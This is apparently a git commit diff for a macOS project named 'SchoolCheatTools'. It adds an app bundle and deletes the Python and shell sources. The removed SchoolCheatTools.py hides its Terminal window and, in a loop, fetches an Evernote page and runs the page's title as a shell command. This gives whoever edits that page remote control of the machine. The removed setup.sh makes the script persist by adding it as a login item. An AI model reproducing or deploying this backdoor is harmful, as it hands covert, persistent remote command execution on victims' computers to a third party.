diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-09 17:49:26 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-09 17:49:26 +0800 |
| commit | 9d6b5c7848829ad23fd96459ad2a57c64f73dbe8 (patch) | |
| tree | 899fe7e988e76f628a35cd86e38951aa5962994f | |
| parent | 4d3618f6a7a6ca91c608130b698433a84b42395e (diff) | |
updated
| -rwxr-xr-x | SchoolCheatTools | bin | 0 -> 4448592 bytes | |||
| -rw-r--r-- | SchoolCheatTools.app/Contents/Info.plist | 24 | ||||
| -rwxr-xr-x | SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools | bin | 0 -> 4448592 bytes | |||
| -rwxr-xr-x | SchoolCheatTools.app/Contents/Resources/icon-windowed.icns | bin | 0 -> 110199 bytes | |||
| -rw-r--r-- | SchoolCheatTools.app/Contents/_CodeSignature/CodeResources | 128 | ||||
| -rw-r--r-- | SchoolCheatTools.py | 39 | ||||
| -rw-r--r-- | SchoolCheatTools.sh | 2 | ||||
| -rw-r--r-- | setup.sh | 8 |
8 files changed, 152 insertions, 49 deletions
diff --git a/SchoolCheatTools b/SchoolCheatTools Binary files differnew file mode 100755 index 0000000..ca00135 --- /dev/null +++ b/SchoolCheatTools diff --git a/SchoolCheatTools.app/Contents/Info.plist b/SchoolCheatTools.app/Contents/Info.plist new file mode 100644 index 0000000..b490828 --- /dev/null +++ b/SchoolCheatTools.app/Contents/Info.plist @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDisplayName</key> + <string>SchoolCheatTools</string> + <key>CFBundleExecutable</key> + <string>SchoolCheatTools</string> + <key>CFBundleIconFile</key> + <string>icon-windowed.icns</string> + <key>CFBundleIdentifier</key> + <string>SchoolCheatTools</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundleName</key> + <string>SchoolCheatTools</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>0.0.0</string> + <key>NSHighResolutionCapable</key> + <true/> +</dict> +</plist> diff --git a/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools b/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools Binary files differnew file mode 100755 index 0000000..37eda98 --- /dev/null +++ b/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools diff --git a/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns b/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns Binary files differnew file mode 100755 index 0000000..954a9a0 --- /dev/null +++ b/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns diff --git a/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources b/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>files</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <data> + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + </data> + </dict> + <key>files2</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <dict> + <key>hash2</key> + <data> + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + </data> + </dict> + </dict> + <key>rules</key> + <dict> + <key>^Resources/</key> + <true/> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^version.plist$</key> + <true/> + </dict> + <key>rules2</key> + <dict> + <key>.*\.dSYM($|/)</key> + <dict> + <key>weight</key> + <real>11</real> + </dict> + <key>^(.*/)?\.DS_Store$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>2000</real> + </dict> + <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^.*</key> + <true/> + <key>^Info\.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^PkgInfo$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^[^/]+$</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^embedded\.provisionprofile$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^version\.plist$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + </dict> +</dict> +</plist> diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py deleted file mode 100644 index 0c38f94..0000000 --- a/SchoolCheatTools.py +++ /dev/null @@ -1,39 +0,0 @@ -#setup -from bs4 import BeautifulSoup -import requests -import os -from time import * -old_command = 0 -command = 0 -os.system('clear') -os.system('osascript -e \'tell application "Terminal" to set visible of front window to false\'') - -print(''' - -░██████╗░█████╗░██╗░░██╗░█████╗░░█████╗░██╗░░░░░░█████╗░██╗░░██╗███████╗░█████╗░████████╗████████╗░█████╗░░█████╗░██╗░░░░░░██████╗ -██╔════╝██╔══██╗██║░░██║██╔══██╗██╔══██╗██║░░░░░██╔══██╗██║░░██║██╔════╝██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░██╔════╝ -╚█████╗░██║░░╚═╝███████║██║░░██║██║░░██║██║░░░░░██║░░╚═╝███████║█████╗░░███████║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░╚█████╗░ -░╚═══██╗██║░░██╗██╔══██║██║░░██║██║░░██║██║░░░░░██║░░██╗██╔══██║██╔══╝░░██╔══██║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░░╚═══██╗ -██████╔╝╚█████╔╝██║░░██║╚█████╔╝╚█████╔╝███████╗╚█████╔╝██║░░██║███████╗██║░░██║░░░██║░░░░░░██║░░░╚█████╔╝╚█████╔╝███████╗██████╔╝ -╚═════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░░╚════╝░╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝╚═════╝░ - -IMPORTANT *** PLEASE KEEP THIS WINDOW OPEN -IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BACKSTAGE, DO NOT CLOSE THE TERMINAL WINDOW, OTHERWISE SCHOOLCHEATTOOLS WON’T WORK -''') - -while True: - #get HTML - try: - html_file = requests.get("https://www.evernote.com/shard/s721/sh/5ff8aabd-e957-668f-0503-01487d76ba01/GvzSxqlewn4fb3pQpdAww5TUVhNThgVRizYNHu0SI2y5ROrlfE0Dop_EZQ").text - soup = BeautifulSoup(html_file, 'lxml') - command = soup.find('title').text - except: - print("failed to connect to server") - #execute command - if old_command != command: - try: - os.system(command) - old_command = command - except: - pass - sleep(0.5) diff --git a/SchoolCheatTools.sh b/SchoolCheatTools.sh deleted file mode 100644 index bc4dc3e..0000000 --- a/SchoolCheatTools.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/zsh -python3 ~/SchoolCheatTools/SchoolCheatTools.py diff --git a/setup.sh b/setup.sh deleted file mode 100644 index 88a1603..0000000 --- a/setup.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/zsh -/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && brew install python@3.11 && pip3 install requests bs4 lxml && chmod +x /start.sh -chmod +x ~/SchoolCheatTools/SchoolCheatTools.sh -cd ~ -sh_dir=$HOME -sh_dir+=/SchoolCheatTools/SchoolCheatTools.sh -echo $sh_dir -osascript -e "tell application \"System Events\" to make new login item at end with properties {path:\"$sh_dir\"}" |
